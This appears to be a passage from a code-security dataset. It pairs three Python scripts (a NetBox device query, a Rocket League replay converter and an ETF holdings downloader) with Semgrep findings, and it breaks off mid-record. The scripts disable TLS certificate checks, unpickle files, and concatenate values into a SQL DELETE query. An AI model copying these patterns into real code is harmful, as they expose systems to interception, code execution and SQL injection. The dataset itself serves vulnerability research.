added stringdate 2024-11-18 17:59:49 2024-11-19 03:44:43 | created int64 126B 1,694B | id stringlengths 40 40 | int_score int64 2 5 | metadata dict | score float64 2.31 5.09 | source stringclasses 1
value | text stringlengths 257 22.3k | num_lines int64 16 648 | avg_line_length float64 15 61 | max_line_length int64 31 179 | ast_depth int64 8 40 | length int64 101 3.8k | lang stringclasses 1
value | sast_semgrep_findings stringlengths 1.56k 349k | sast_semgrep_findings_count int64 1 162 | sast_semgrep_success bool 1
class | sast_semgrep_error stringclasses 1
value | cwe_ids listlengths 1 162 | rule_ids listlengths 1 162 | subcategories listlengths 1 162 | confidences listlengths 1 162 | severities listlengths 1 162 | line_starts listlengths 1 162 | line_ends listlengths 1 162 | column_starts listlengths 1 162 | column_ends listlengths 1 162 | owasp_categories listlengths 1 162 | messages listlengths 1 162 | cvss_scores listlengths 1 162 | likelihoods listlengths 1 162 | impacts listlengths 1 162 | filename stringlengths 4 105 | path stringlengths 5 372 | repo_name stringlengths 5 115 | license stringclasses 385
values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2024-11-18T20:18:19.330274+00:00 | 1,556,015,787,000 | f9347a15443d0c989288c9d98701c8d0f95f22b9 | 3 | {
"blob_id": "f9347a15443d0c989288c9d98701c8d0f95f22b9",
"branch_name": "refs/heads/master",
"committer_date": 1556015787000,
"content_id": "3daf5922376df0b991487ef0e64aeab26f130761",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "aafb74eb25ffbae242b2f8947bc3804bb04f7707",
"extension": "py",
"filename": "ex3.py",
"fork_events_count": 0,
"gha_created_at": 1548413405000,
"gha_event_created_at": 1548414620000,
"gha_language": "Python",
"gha_license_id": "Apache-2.0",
"github_id": 167532496,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1122,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/class11/ex3.py",
"provenance": "stack-edu-0054.json.gz:578081",
"repo_name": "nkbyrne/pyplus",
"revision_date": 1556015787000,
"revision_id": "2fd31eb41c697259f641fd90a371d2cd9ed4a673",
"snapshot_id": "344455c9851aa0103252e52fbd12a2473c152d78",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/nkbyrne/pyplus/2fd31eb41c697259f641fd90a371d2cd9ed4a673/class11/ex3.py",
"visit_date": "2020-04-18T12:25:01.795750"
} | 2.765625 | stackv2 | #!/usr/bin/env python
import requests
from urllib3.exceptions import InsecureRequestWarning
import os
""" Retrieve a list of all the devices in NetBox. This will require
authentication. As in the previous task, create your headers manually and pass
them into your request"""
# Set the token based on the NETBOX_TOKEN environment variable
token = os.environ["NETBOX_TOKEN"]
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
BASE_URL = "https://netbox.lasthop.io/api/dcim/devices"
http_headers = {}
http_headers["accept"] = "application/json; version=2.4;"
http_headers["Authorization"] = f"Token {token}"
resp = requests.get(BASE_URL, headers=http_headers, verify=False)
devices = resp.json()["results"]
result = []
for device in devices:
print("-" * 60)
# result.append(device["display_name"])
print(device["display_name"])
print("-" * 10)
print("Location: {}".format(device["site"]["name"]))
print("Vendor: {}".format(device["device_type"]["manufacturer"]["name"]))
print("Status: {}".format(device["status"]["label"]))
print("-" * 60)
print("\n \n")
| 33 | 33 | 78 | 13 | 265 | python | [{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_0cc1bba15969a63e_703b2f63", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 20, "line_end": 20, "column_start": 8, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmpr7mo7ysm/0cc1bba15969a63e.py", "start": {"line": 20, "col": 8, "offset": 642}, "end": {"line": 20, "col": 66, "offset": 700}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_0cc1bba15969a63e_e65b66e2", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(BASE_URL, headers=http_headers, verify=False, timeout=30)", "location": {"file_path": "unknown", "line_start": 20, "line_end": 20, "column_start": 8, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpr7mo7ysm/0cc1bba15969a63e.py", "start": {"line": 20, "col": 8, "offset": 642}, "end": {"line": 20, "col": 66, "offset": 700}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(BASE_URL, headers=http_headers, verify=False, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.security.disabled-cert-validation_0cc1bba15969a63e_dea58d45", "tool_name": "semgrep", "rule_id": "rules.python.requests.security.disabled-cert-validation", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "remediation": "requests.get(BASE_URL, headers=http_headers, verify=True)", "location": {"file_path": "unknown", "line_start": 20, "line_end": 20, "column_start": 8, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.security.disabled-cert-validation", "path": "/tmp/tmpr7mo7ysm/0cc1bba15969a63e.py", "start": {"line": 20, "col": 8, "offset": 642}, "end": {"line": 20, "col": 66, "offset": 700}, "extra": {"message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "fix": "requests.get(BASE_URL, headers=http_headers, verify=True)", "metadata": {"cwe": ["CWE-295: Improper Certificate Validation"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib"], "category": "security", "technology": ["requests"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-295"
] | [
"rules.python.requests.security.disabled-cert-validation"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
20
] | [
20
] | [
8
] | [
66
] | [
"A03:2017 - Sensitive Data Exposure"
] | [
"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."
] | [
7.5
] | [
"LOW"
] | [
"LOW"
] | ex3.py | /class11/ex3.py | nkbyrne/pyplus | Apache-2.0 | |
2024-11-18T20:18:31.467471+00:00 | 1,563,569,247,000 | cac01d1cd258cec0567552ad7a53dd7986e9bf6f | 3 | {
"blob_id": "cac01d1cd258cec0567552ad7a53dd7986e9bf6f",
"branch_name": "refs/heads/master",
"committer_date": 1563569247000,
"content_id": "1fdbaceb4687a6b137d57b0f748bef7bf6e5b4ce",
"detected_licenses": [
"MIT"
],
"directory_id": "e35d4e71d15217f8dc4ebfd4f07378700649923c",
"extension": "py",
"filename": "createTrainingData.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 197840002,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4435,
"license": "MIT",
"license_type": "permissive",
"path": "/Hippity_Hoppity_Get_Off_My_Property/createTrainingData.py",
"provenance": "stack-edu-0054.json.gz:578179",
"repo_name": "JayTheYggdrasil/Hippity_Hoppity_Get_Off_My_Property",
"revision_date": 1563569247000,
"revision_id": "fdd51dda2a050dd64b5c6dda3b029189a5803f55",
"snapshot_id": "01e177f79026a5ec6d6cb47bbe9797e83affd70e",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/JayTheYggdrasil/Hippity_Hoppity_Get_Off_My_Property/fdd51dda2a050dd64b5c6dda3b029189a5803f55/Hippity_Hoppity_Get_Off_My_Property/createTrainingData.py",
"visit_date": "2022-01-26T13:34:53.221813"
} | 2.5625 | stackv2 | #This code is by "The Beard#1555", https://github.com/oxrock/TrainingDataExtractor/blob/master/createTrainingData.py
from carball.json_parser.game import Game
from carball.analysis.analysis_manager import AnalysisManager
from carball.controls.controls import ControlsCreator
import os
import json
import carball
import pickle
import bz2
import sys
def convert_replay_to_game_frames(inputName,JSONpath,save_json = True):
manager = carball.analyze_replay_file(inputName,
output_path=JSONpath,
overwrite=True)
result = convert_json_to_game_frames(JSONpath)
if not save_json:
os.remove(JSONpath)
return result
def convert_json_to_game_frames(filename):
with open(filename,encoding='utf-8', errors='ignore') as json_file:
_json = json.load(json_file)
game = Game()
game.initialize(loaded_json=_json)
analysis = AnalysisManager(game)
analysis.create_analysis()
x = ControlsCreator()
x.get_controls(game)
frames = []
for col, row in analysis.data_frame.iterrows():
frame = {}
frame["GameState"] = {}
frame["GameState"]["time"] = NaN_fixer(row["game"]["time"])
frame["GameState"]["seconds_remaining"] = NaN_fixer(row["game"]["seconds_remaining"])
frame["GameState"]["deltatime"] = NaN_fixer(row["game"]["delta"])
frame["GameState"]["ball"] = {}
frame["GameState"]["ball"]["position"] = [NaN_fixer(row["ball"]["pos_x"]),NaN_fixer(row["ball"]["pos_y"]),NaN_fixer(row["ball"]["pos_z"])]
frame["GameState"]["ball"]["velocity"] = [NaN_fixer(row["ball"]["vel_x"]),NaN_fixer(row["ball"]["vel_y"]),NaN_fixer(row["ball"]["vel_z"])]
frame["GameState"]["ball"]["rotation"] = [NaN_fixer(row["ball"]["rot_x"]),NaN_fixer(row["ball"]["rot_y"]),NaN_fixer(row["ball"]["rot_z"])]
frame["PlayerData"] = []
for i in range(len(game.players)):
frame["PlayerData"].append(getPlayerFrame(game.players[i],i,col,row))
frames.append(frame)
return frames
def getPlayerFrame(player,playerIndex,frameIndex,row):
controls = ["throttle", "steer", "pitch", "yaw", "roll", "jump", "handbrake"]
playerData = {}
playerData["index"] = playerIndex
playerData["name"] = player.name
if player.team.is_orange:
playerData["team"] = 1
else:
playerData["team"] = 0
playerData["position"] = [NaN_fixer(row[player.name]["pos_x"]),NaN_fixer(row[player.name]["pos_y"]),NaN_fixer(row[player.name]["pos_z"])]
playerData["rotation"] = [NaN_fixer(row[player.name]["rot_x"]), NaN_fixer(row[player.name]["rot_y"]), NaN_fixer(row[player.name]["rot_z"])]
playerData["velocity"] = [NaN_fixer(row[player.name]["vel_x"]), NaN_fixer(row[player.name]["vel_y"]), NaN_fixer(row[player.name]["vel_z"])]
playerData["angular_velocity"] = [NaN_fixer(row[player.name]["ang_vel_x"]), NaN_fixer(row[player.name]["ang_vel_y"]), NaN_fixer(row[player.name]["ang_vel_z"])]
playerData["boosting"] = row[player.name]["boost_active"]
playerData["boost_level"] = row[player.name]["boost"]
for c in controls:
temp = NaN_fixer(player.controls.loc[frameIndex,c])
if temp == None:
temp = False
playerData[c] = temp
return playerData
def createAndSaveReplayTrainingDataFromJSON(replayPath, outputFileName = None):
replayData = convert_json_to_game_frames(replayPath)
if outputFileName != None:
outputName = outputFileName
else:
outputName = replayPath + ".pbz2"
with bz2.BZ2File(outputName, 'w') as f:
pickle.dump(replayData , f)
def createAndSaveReplayTrainingData(replayPath,outputName,jsonPath,save_json = True):
replayData = convert_replay_to_game_frames(replayPath,jsonPath,save_json = save_json)
with bz2.BZ2File(outputName, 'w') as f:
pickle.dump(replayData , f)
def loadSavedTrainingData(dataPath):
with bz2.BZ2File(dataPath, 'r') as f:
result = pickle.load(f)
return result
def createDataFromReplay(filepath,outputPath,jsonPath,save_json = True):
carball.decompile_replay(filepath,output_path=jsonPath,overwrite=True)
createAndSaveReplayTrainingDataFromJSON(jsonPath,outputFileName= outputPath)
if not save_json:
os.remove(jsonPath)
def NaN_fixer(value):
if value != value:
return 0
else:
return value
| 117 | 36.91 | 163 | 15 | 1,089 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_b0e38fa6b02133fd_257b8bec", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_orange\" a function or an attribute? If it is a function, you may have meant player.team.is_orange() because player.team.is_orange is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 61, "line_end": 61, "column_start": 8, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpr7mo7ysm/b0e38fa6b02133fd.py", "start": {"line": 61, "col": 8, "offset": 2334}, "end": {"line": 61, "col": 29, "offset": 2355}, "extra": {"message": "Is \"is_orange\" a function or an attribute? If it is a function, you may have meant player.team.is_orange() because player.team.is_orange is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b0e38fa6b02133fd_5e8db998", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 9, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/b0e38fa6b02133fd.py", "start": {"line": 91, "col": 9, "offset": 3642}, "end": {"line": 91, "col": 36, "offset": 3669}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b0e38fa6b02133fd_249ecd8f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 96, "line_end": 96, "column_start": 9, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/b0e38fa6b02133fd.py", "start": {"line": 96, "col": 9, "offset": 3899}, "end": {"line": 96, "col": 36, "offset": 3926}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b0e38fa6b02133fd_6853fa16", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 101, "line_end": 101, "column_start": 18, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/b0e38fa6b02133fd.py", "start": {"line": 101, "col": 18, "offset": 4025}, "end": {"line": 101, "col": 32, "offset": 4039}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_b0e38fa6b02133fd_2be030b3", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `value == value` or `value != value`. If testing for floating point NaN, use `math.isnan(value)`, or `cmath.isnan(value)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 113, "line_end": 113, "column_start": 8, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpr7mo7ysm/b0e38fa6b02133fd.py", "start": {"line": 113, "col": 8, "offset": 4370}, "end": {"line": 113, "col": 22, "offset": 4384}, "extra": {"message": "This expression is always True: `value == value` or `value != value`. If testing for floating point NaN, use `math.isnan(value)`, or `cmath.isnan(value)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 5 | true | [
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
91,
96,
101
] | [
91,
96,
101
] | [
9,
9,
18
] | [
36,
36,
32
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5,
5
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | createTrainingData.py | /Hippity_Hoppity_Get_Off_My_Property/createTrainingData.py | JayTheYggdrasil/Hippity_Hoppity_Get_Off_My_Property | MIT | |
2024-11-18T20:18:33.878930+00:00 | 1,614,939,805,000 | 72d53e92afeca728b602d0b9a051c6d770a3bb1d | 3 | {
"blob_id": "72d53e92afeca728b602d0b9a051c6d770a3bb1d",
"branch_name": "refs/heads/main",
"committer_date": 1614939805000,
"content_id": "4e62c484be5fdde6f6c84fc9f51079fa7a0e7003",
"detected_licenses": [
"MIT"
],
"directory_id": "d4768ec80f79de42923dcfa85ee69f261c740200",
"extension": "py",
"filename": "daily_holdings_download.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 343981851,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3263,
"license": "MIT",
"license_type": "permissive",
"path": "/daily_holdings_download.py",
"provenance": "stack-edu-0054.json.gz:578200",
"repo_name": "rohitapte/ark-holdings",
"revision_date": 1614939805000,
"revision_id": "cf2e7993f0a4f6b6e502259e51d4eac8fd1c6f5b",
"snapshot_id": "ac352dacf80a04bc87d296b2aa1785fbe1837e39",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/rohitapte/ark-holdings/cf2e7993f0a4f6b6e502259e51d4eac8fd1c6f5b/daily_holdings_download.py",
"visit_date": "2023-03-21T07:27:42.764249"
} | 2.765625 | stackv2 | import os
import requests
from mysql.connector import Error
from pathlib import Path
import csv
import datetime
from globals import cxn
def get_etf_list():
data={}
try:
select_query='SELECT id, ticker, description, cusip, isin, url, csv_url from etf'
with cxn.cursor() as cursor:
cursor.execute(select_query)
for row in cursor.fetchall():
row_data={
'id': row[0],
'ticker': row[1],
'description': row[2],
'cusip': row[3],
'isin': row[4],
'url': row[5],
'csv_url': row[6],
}
data[row_data['ticker']]=row_data
except Error as e:
print(e)
return data
def delete_data_for_etf_and_date(etfname, asofDate):
try:
delete_query = "delete from holdings WHERE etfname='" + etfname + "' and asof_date='" + asofDate + "'"
with cxn.cursor() as cursor:
cursor.execute(delete_query)
cxn.commit()
except Error as e:
print(e)
def insert_daily_data_for_for_etf(data):
try:
insert_query = """
INSERT INTO holdings
(etfname, asof_date, company, ticker, cusip, shares, market_value, weight)
VALUES (%s, %s, %s, %s, %s, %s, %s, %s)
"""
with cxn.cursor() as cursor:
cursor.executemany(insert_query, data)
cxn.commit()
except Error as e:
print(e)
def download_daily_holdings():
data = get_etf_list()
for key, value in data.items():
response = requests.get(value['csv_url'])
asofDate = list(csv.reader(response.text.split('\n'), delimiter=','))[1][0]
formatted_date = datetime.datetime.strptime(asofDate, '%m/%d/%Y').strftime('%Y-%m-%d')
filename = Path('holdings_data/' + value['csv_url'][value['csv_url'].rfind('/') + 1:].replace('.csv',
'_' + formatted_date + '.csv'))
filename.write_bytes(response.content)
filename = Path('temp/' + value['csv_url'][value['csv_url'].rfind('/') + 1:])
filename.write_bytes(response.content)
def upload_etf_data():
etf_data = get_etf_list()
for root, dirs, files in os.walk("temp/"):
for filename in files:
with open(os.path.join(root,filename), 'r') as file:
reader = list(csv.reader(file))
data=[]
sDate=reader[1][0]
asofDate=datetime.datetime.strptime(sDate, '%m/%d/%Y').strftime('%Y-%m-%d')
etfname=reader[1][1]
delete_data_for_etf_and_date(etfname,asofDate)
for row in reader[1:]:
if row[0]!='':
assert(row[0]==sDate)
assert(etfname in etf_data)
data.append((etfname,datetime.datetime.strptime(row[0], '%m/%d/%Y'),row[2],row[3],row[4],row[5],row[6],row[7]))
else:
break
insert_daily_data_for_for_etf(data)
if __name__ == "__main__":
download_daily_holdings()
upload_etf_data()
| 89 | 35.66 | 135 | 21 | 760 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_b348dc010b01323a_f11297fb", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 13, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpr7mo7ysm/b348dc010b01323a.py", "start": {"line": 34, "col": 13, "offset": 1024}, "end": {"line": 34, "col": 41, "offset": 1052}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_b348dc010b01323a_a751533d", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 20, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": 